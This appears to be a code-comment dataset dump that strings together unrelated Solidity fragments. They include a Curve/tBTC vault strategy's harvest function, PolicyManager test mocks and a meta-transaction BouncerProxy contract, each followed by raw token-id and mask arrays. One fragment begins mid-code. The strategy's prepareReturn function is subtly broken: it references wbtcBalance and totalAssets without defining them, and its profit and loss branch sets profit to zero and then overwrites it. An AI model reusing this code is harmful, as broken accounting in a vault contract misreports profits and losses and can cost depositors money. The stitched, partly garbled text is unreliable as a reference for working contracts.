true ); } }
@notice This method is defined in the BaseStrategy contract and is meant to perform any strategy unwinding or other calls necessary to capture the free return this strategy has generated since the last time its core position(s) were adjusted. Examples include unwrapping extra rewards. This call is only used during normal operation of a strategy, and should be optimized to minimize losses as much as possible. This strategy implements the aforementioned behavior by harvesting the Curve pool's gauge CRV rewards, using most of the CRV tokens to buy one of the Curve pool's accepted token, and depositing that token back to the Curve pool. This way the strategy is gaining new vault's underlying tokens thus making the profit. A small portion of CRV rewards (defined by keepCRV param) is transferred to the voter contract to increase CRV boost and get more CRV rewards in the future. Apart from that, this strategy also sells the Curve pool's gauge additional rewards, generated using the Synthetix staking rewards contract. @param debtOutstanding Will be 0 if the strategy is not past the configured debt limit, otherwise its value will be how far past the debt limit the strategy is. The strategy's debt limit is configured in the vault. @return profit Amount of realized profit. @return loss Amount of realized loss. @return debtPayment Amount of repaid debt. The value of debtPayment should be less than or equal to debtOutstanding. It is okay for it to be less than debtOutstanding, as that should only used as a guide for how much is left to pay back. Payments should be made to minimize loss from slippage, debt, withdrawal fees, etc. Get the initial balance of the vault's underlying token under strategy management. Harvest the CRV rewards from the Curve pool's gauge. Buy WBTC using harvested CRV tokens. Deposit a portion of CRV to the voter to gain CRV boost. Claim additional reward tokens from the gauge if applicable. TODO: When the new curve pool with tBTC v2 is deployed, verify that the index of wBTC in the array is correct. Repay some vault debt if needed.
function prepareReturn(uint256 debtOutstanding) internal override returns ( uint256 profit, uint256 loss, uint256 debtPayment ) { uint256 initialWantBalance = want.balanceOf(address(this)); IStrategyProxy(strategyProxy).harvest(tbtcCurvePoolGauge); uint256 crvBalance = IERC20(crvToken).balanceOf(address(this)); if (crvBalance > 0) { crvBalance = adjustCRV(crvBalance); IERC20(crvToken).safeIncreaseAllowance(dex, crvBalance); address[] memory path = new address[](3); path[0] = crvToken; path[1] = wethToken; path[2] = wbtcToken; IUniswapV2Router(dex).swapExactTokensForTokens( crvBalance, minSwapOutAmount(crvBalance, path), path, address(this), now ); } if (tbtcCurvePoolGaugeReward != address(0)) { IStrategyProxy(strategyProxy).claimRewards( tbtcCurvePoolGauge, tbtcCurvePoolGaugeReward ); uint256 rewardBalance = IERC20(tbtcCurvePoolGaugeReward).balanceOf( address(this) ); if (rewardBalance > 0) { IERC20(tbtcCurvePoolGaugeReward).safeIncreaseAllowance( dex, rewardBalance ); address[] memory path = new address[](3); path[0] = tbtcCurvePoolGaugeReward; path[1] = wethToken; path[2] = wbtcToken; IUniswapV2Router(dex).swapExactTokensForTokens( rewardBalance, minSwapOutAmount(rewardBalance, path), path, address(this), now ); } } if (wbtcBalance > 0) { IERC20(wbtcToken).safeIncreaseAllowance( tbtcCurvePoolDepositor, wbtcBalance ); uint256[4] memory amounts = [0, 0, wbtcBalance, 0]; ICurvePool(tbtcCurvePoolDepositor).add_liquidity( amounts, minLiquidityDepositOutAmount(amounts) ); } uint256 totalDebt = vault.strategies(address(this)).totalDebt; if (totalAssets < totalDebt) { loss = totalDebt - totalAssets; profit = 0; profit = want.balanceOf(address(this)).sub(initialWantBalance); } if (debtOutstanding > 0) { withdrawSome(debtOutstanding); debtPayment = Math.min( debtOutstanding, balanceOfWant().sub(profit) ); } }
5,465,194
[ 1, 2503, 707, 353, 2553, 316, 326, 3360, 4525, 6835, 471, 353, 20348, 540, 358, 3073, 1281, 6252, 640, 10094, 310, 578, 1308, 4097, 4573, 358, 540, 7477, 326, 4843, 327, 333, 6252, 711, 4374, 3241, 326, 540, 1142, 813, 2097, 2922, 1754, 12, 87, 13, 4591, 13940, 18, 19830, 2341, 540, 11014, 1382, 2870, 283, 6397, 18, 1220, 745, 353, 1338, 1399, 4982, 2212, 540, 1674, 434, 279, 6252, 16, 471, 1410, 506, 15411, 358, 18935, 540, 24528, 487, 9816, 487, 3323, 18, 1220, 6252, 4792, 326, 540, 279, 1405, 475, 285, 329, 6885, 635, 17895, 90, 10100, 326, 22901, 2845, 1807, 13335, 540, 6732, 58, 283, 6397, 16, 1450, 4486, 434, 326, 6732, 58, 2430, 358, 30143, 1245, 434, 326, 540, 22901, 2845, 1807, 8494, 1147, 16, 471, 443, 1724, 310, 716, 1147, 1473, 358, 540, 326, 22901, 2845, 18, 1220, 4031, 326, 6252, 353, 314, 3280, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 2911, 990, 12, 11890, 5034, 18202, 88, 1182, 15167, 13, 203, 3639, 2713, 203, 3639, 3849, 203, 3639, 1135, 261, 203, 5411, 2254, 5034, 450, 7216, 16, 203, 5411, 2254, 5034, 8324, 16, 203, 5411, 2254, 5034, 18202, 88, 6032, 203, 3639, 262, 203, 565, 288, 203, 3639, 2254, 5034, 2172, 59, 970, 13937, 273, 2545, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 203, 3639, 467, 4525, 3886, 12, 14914, 3886, 2934, 30250, 26923, 12, 18587, 5111, 9423, 2864, 18941, 1769, 203, 203, 3639, 2254, 5034, 4422, 90, 13937, 273, 467, 654, 39, 3462, 12, 3353, 90, 1345, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 309, 261, 3353, 90, 13937, 405, 374, 13, 288, 203, 5411, 4422, 90, 13937, 273, 5765, 5093, 58, 12, 3353, 90, 13937, 1769, 203, 203, 5411, 467, 654, 39, 3462, 12, 3353, 90, 1345, 2934, 4626, 382, 11908, 7009, 1359, 12, 561, 16, 4422, 90, 13937, 1769, 203, 203, 5411, 1758, 8526, 3778, 589, 273, 394, 1758, 8526, 12, 23, 1769, 203, 5411, 589, 63, 20, 65, 273, 4422, 90, 1345, 31, 203, 5411, 589, 63, 21, 65, 273, 341, 546, 1345, 31, 203, 5411, 589, 63, 22, 65, 273, 17298, 5111, 1345, 31, 203, 203, 5411, 467, 984, 291, 91, 438, 58, 22, 8259, 12, 561, 2934, 22270, 14332, 5157, 1290, 5157, 12, 203, 7734, 4422, 90, 13937, 16, 203, 7734, 1131, 12521, 1182, 6275, 12, 3353, 90, 13937, 16, 589, 3631, 203, 7734, 589, 16, 203, 7734, 1758, 12, 2211, 2 ]
pragma solidity ^0.4.24; import "contracts/PolicyManager.sol"; import "contracts/MinersEscrow.sol"; /** * @notice Upgrade to this contract must lead to fail **/ contract PolicyManagerBad is PolicyManager { constructor(MinersEscrow _escrow) public PolicyManager(_escrow) { } function getNodeRewardDelta(address, uint16) public view returns (int256) { } } /** * @notice Contract for testing upgrading the PolicyManager contract **/ contract PolicyManagerV2Mock is PolicyManager { uint256 public valueToCheck; constructor(MinersEscrow _escrow) public PolicyManager(_escrow) { } function setValueToCheck(uint256 _valueToCheck) public { valueToCheck = _valueToCheck; } function verifyState(address _testTarget) public onlyOwner { super.verifyState(_testTarget); require(uint256(delegateGet(_testTarget, "valueToCheck()")) == valueToCheck); } } /** * @notice Contract for using in PolicyManager tests **/ contract MinersEscrowForPolicyMock { struct Downtime { uint16 startPeriod; uint16 endPeriod; } PolicyManager public policyManager; uint32 public secondsPerPeriod; uint16 public lastActivePeriod; Downtime[] public downtime; /** * @param _hoursPerPeriod Size of period in hours **/ constructor(uint16 _hoursPerPeriod) public { secondsPerPeriod = uint32(_hoursPerPeriod * 1 hours); } /** * @return Number of current period **/ function getCurrentPeriod() public view returns (uint16) { return uint16(block.timestamp / secondsPerPeriod); } /** * @notice Set last active period **/ function setLastActivePeriod(uint16 _lastActivePeriod) external { lastActivePeriod = _lastActivePeriod; } /** * @notice Add downtime period **/ function pushDowntimePeriod(uint16 _startPeriod, uint16 _endPeriod) external { downtime.push(Downtime(_startPeriod, _endPeriod)); } /** * @notice Emulate mint method * @param _startPeriod Start period for minting * @param _numberOfPeriods Number periods for minting **/ function mint(uint16 _startPeriod, uint16 _numberOfPeriods) external { for (uint16 i = 0; i < _numberOfPeriods; i++) { policyManager.updateReward(msg.sender, i + _startPeriod); } } /** * @notice Set policy manager address **/ function setPolicyManager(PolicyManager _policyManager) external { policyManager = _policyManager; } /** * @notice Emulate getDowntimeLength **/ function getPastDowntimeLength(address) public view returns (uint256) { return downtime.length; } /** * @notice Emulate getDowntime **/ function getPastDowntime(address, uint256 _index) public view returns (uint16 startPeriod, uint16 endPeriod) { Downtime storage data = downtime[_index]; startPeriod = data.startPeriod; endPeriod = data.endPeriod; } /** * @notice Emulate getLastActivePeriod **/ function getLastActivePeriod(address) public view returns (uint256) { return lastActivePeriod; } /** * @notice Emulate node registration **/ function register(address _node) external { policyManager.register(_node, getCurrentPeriod() - 1); } }
* @notice Emulate getDowntime/
function getPastDowntime(address, uint256 _index) public view returns (uint16 startPeriod, uint16 endPeriod) { Downtime storage data = downtime[_index]; startPeriod = data.startPeriod; endPeriod = data.endPeriod; }
951,542
[ 1, 1514, 6243, 2343, 543, 29367, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1689, 689, 40, 543, 29367, 12, 2867, 16, 2254, 5034, 389, 1615, 13, 203, 3639, 1071, 1476, 1135, 261, 11890, 2313, 787, 5027, 16, 2254, 2313, 679, 5027, 13, 203, 565, 288, 203, 3639, 463, 543, 29367, 2502, 501, 273, 22095, 29367, 63, 67, 1615, 15533, 203, 3639, 787, 5027, 273, 501, 18, 1937, 5027, 31, 203, 3639, 679, 5027, 273, 501, 18, 409, 5027, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xD8162D9703d1c13476FEE3f20ADF2c6468683F0e/sources/contracts/MasterContract.sol
METH functions @notice Call claim function on METH contract @param to Address to send METH @param amount Amount to mint
function claim(address to, uint256 amount) external onlyAuthorized { bapMeth.claim(to, amount); }
4,471,973
[ 1, 5277, 4186, 225, 3049, 7516, 445, 603, 10078, 6835, 225, 358, 5267, 358, 1366, 10078, 225, 3844, 16811, 358, 312, 474, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 12, 2867, 358, 16, 2254, 5034, 3844, 13, 3903, 1338, 15341, 288, 203, 3639, 324, 438, 49, 546, 18, 14784, 12, 869, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x9f9F18aea36A44e56F141A98b68f700A4073A2E8/sources/MasterChef.sol
Safe BSK transfer function, just in case if rounding error causes pool to not have enough BSKs.
function safeBrisketTransfer(address _to, uint256 _amount) internal { gravy.safeBrisketTransfer(_to, _amount); }
11,060,203
[ 1, 9890, 605, 11129, 7412, 445, 16, 2537, 316, 648, 309, 13885, 555, 14119, 2845, 358, 486, 1240, 7304, 605, 11129, 87, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 19114, 10175, 278, 5912, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 2713, 288, 203, 3639, 3087, 29139, 18, 4626, 19114, 10175, 278, 5912, 24899, 869, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; /* Bouncer identity proxy that executes meta transactions for etherless accounts. Purpose: I wanted a way for etherless accounts to transact with the blockchain through an identity proxy without paying gas. I'm sure there are many examples of something like this already deployed that work a lot better, this is just me learning. (I would love feedback: https://twitter.com/austingriffith) 1) An etherless account crafts a meta transaction and signs it 2) A (properly incentivized) relay account submits the transaction to the BouncerProxy and pays the gas 3) If the meta transaction is valid AND the etherless account is a valid 'Bouncer', the transaction is executed (and the sender is paid in arbitrary tokens from the signer) Inspired by: @avsa - https://www.youtube.com/watch?v=qF2lhJzngto found this later: https://github.com/status-im/contracts/blob/73-economic-abstraction/contracts/identity/IdentityGasRelay.sol @mattgcondon - https://twitter.com/mattgcondon/status/1022287545139449856 && https://twitter.com/mattgcondon/status/1021984009428107264 @owocki - https://twitter.com/owocki/status/1021859962882908160 @danfinlay - https://twitter.com/danfinlay/status/1022271384938983424 @PhABCD - https://twitter.com/PhABCD/status/1021974772786319361 gnosis-safe uport-identity */ //new use case: something very similar to the eth alarm clock dudes // gitcoin wants to run a subscription like service and have all the trasacions // run as meta trasactions so accounts don't have to worry about getting on at // a certain time to push a tx through every month, week, day, hour, etc // we'll use a minBlock requirement and have a nonce for each minBlock so // other transactions can still come through normally with minBlock=0 but // you also want to avoid replay attacks for specific minBlocks //use case 1: //you deploy the bouncer proxy and use it as a standard identity for your own etherless accounts // (multiple devices you don't want to store eth on or move private keys to will need to be added as Bouncers) //you run your own relayer and the rewardToken is 0 //use case 2: //you deploy the bouncer proxy and use it as a standard identity for your own etherless accounts // (multiple devices you don't want to store eth on or move private keys to will need to be added as Bouncers) // a community if relayers are incentivized by the rewardToken to pay the gas to run your transactions for you //SEE: universal logins via @avsa //use case 3: //you deploy the bouncer proxy and use it to let third parties submit transactions as a standard identity // (multiple developer accounts will need to be added as Bouncers to 'whitelist' them to make meta transactions) //you run your own relayer and pay for all of their transactions, revoking any bad actors if needed //SEE: GitCoin (via @owocki) wants to pay for some of the initial transactions of their Developers to lower the barrier to entry //use case 4: //you deploy the bouncer proxy and use it to let third parties submit transactions as a standard identity // (multiple developer accounts will need to be added as Bouncers to 'whitelist' them to make meta transactions) //you run your own relayer and pay for all of their transactions, revoking any bad actors if needed import "openzeppelin-solidity/contracts/access/SignatureBouncer.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; contract BouncerProxy is SignatureBouncer, Ownable { constructor() public { } //to avoid replay but separate for different minBlocks mapping(address => mapping(uint => uint)) public nonce; // copied from https://github.com/uport-project/uport-identity/blob/develop/contracts/Proxy.sol function () payable { emit Received(msg.sender, msg.value); } event Received (address indexed sender, uint value); // original forward function copied from https://github.com/uport-project/uport-identity/blob/develop/contracts/Proxy.sol function forward(bytes sig, address signer, address destination, uint value, bytes data, address rewardToken, uint rewardAmount,uint minBlock) public { //sig and block must be valid require(isValidSigAndBlock(sig,signer,destination,value,data,rewardToken,rewardAmount,minBlock)); //increment nonce for so noone and replay this transaction nonce[signer][minBlock]++; //make sure the signer pays in whatever token (or ether) the sender and signer agreed to // or skip this if the sender is incentivized in other ways and there is no need for a token //to meet @avsa's example, 0 means ether and 0 rewardAmount means free metatx if(rewardToken==address(0)){ if(rewardAmount>0){ //REWARD ETHER require(msg.sender.call.value(rewardAmount).gas(36000)()); } }else{ //REWARD TOKEN require((StandardToken(rewardToken)).transfer(msg.sender,rewardAmount)); } //execute the transaction with all the given parameters require(executeCall(destination, value, data)); emit Forwarded(sig, signer, destination, value, data, rewardToken, rewardAmount, minBlock); } // when some frontends see that a tx is made from a bouncerproxy, they may want to parse through these events to find out who the signer was etc event Forwarded (bytes sig, address signer, address destination, uint value, bytes data,address rewardToken, uint rewardAmount, uint minBlock); function isValidSigAndBlock(bytes sig, address signer, address destination, uint value, bytes data, address rewardToken, uint rewardAmount,uint minBlock) public view returns (bool) { //if they specify a minimum block, make sure the current block is on or after the requirement //eventually typedef the minblock to a uint64... no need to be 256bits //this min block could have a second use... uPort reported nonces getting weird when a bunch of transactions fire at once // well if you are about to do ten transactions, you could use the minblock as almost like a namespace // use the minBlock=1 nonce for one transactions and minBlock=2 for another... then they could be run // in either order but only once eh? eh? maybe... idk... if(block.number<minBlock){ return false; } //there is a nonce for each minBlock so normal transactions can run on minblock==0 uint _nonce = nonce[signer][minBlock]; //the hash contains all of the information about the meta transaction to be called bytes32 _hash = keccak256(abi.encodePacked(address(this), signer, destination, value, data, rewardToken, rewardAmount, minBlock, _nonce)); //this makes sure signer signed correctly AND signer is a valid bouncer return _isValidDataHash(_hash,sig); } // copied from https://github.com/uport-project/uport-identity/blob/develop/contracts/Proxy.sol // which was copied from GnosisSafe // https://github.com/gnosis/gnosis-safe-contracts/blob/master/contracts/GnosisSafe.sol function executeCall(address to, uint256 value, bytes data) internal returns (bool success) { assembly { success := call(gas, to, value, add(data, 0x20), mload(data), 0, 0) } } } contract StandardToken { function transfer(address _to,uint256 _value) public returns (bool) { } }
there is a nonce for each minBlock so normal transactions can run on minblock==0
uint _nonce = nonce[signer][minBlock];
12,772,310
[ 1, 18664, 353, 279, 7448, 364, 1517, 1131, 1768, 1427, 2212, 8938, 848, 1086, 603, 1131, 2629, 631, 20, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 389, 12824, 273, 7448, 63, 2977, 264, 6362, 1154, 1768, 15533, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x60941D1C4D2F8def17f2a4bA15B4D23D8CcED181/sources/contracts/staking/actions/AdvancedStakingBridgedDataCoder.sol
** @title AdvancedStakingBridgedDataDecoder @dev It encode (pack) and decodes (unpack) messages for bridging them between networks/
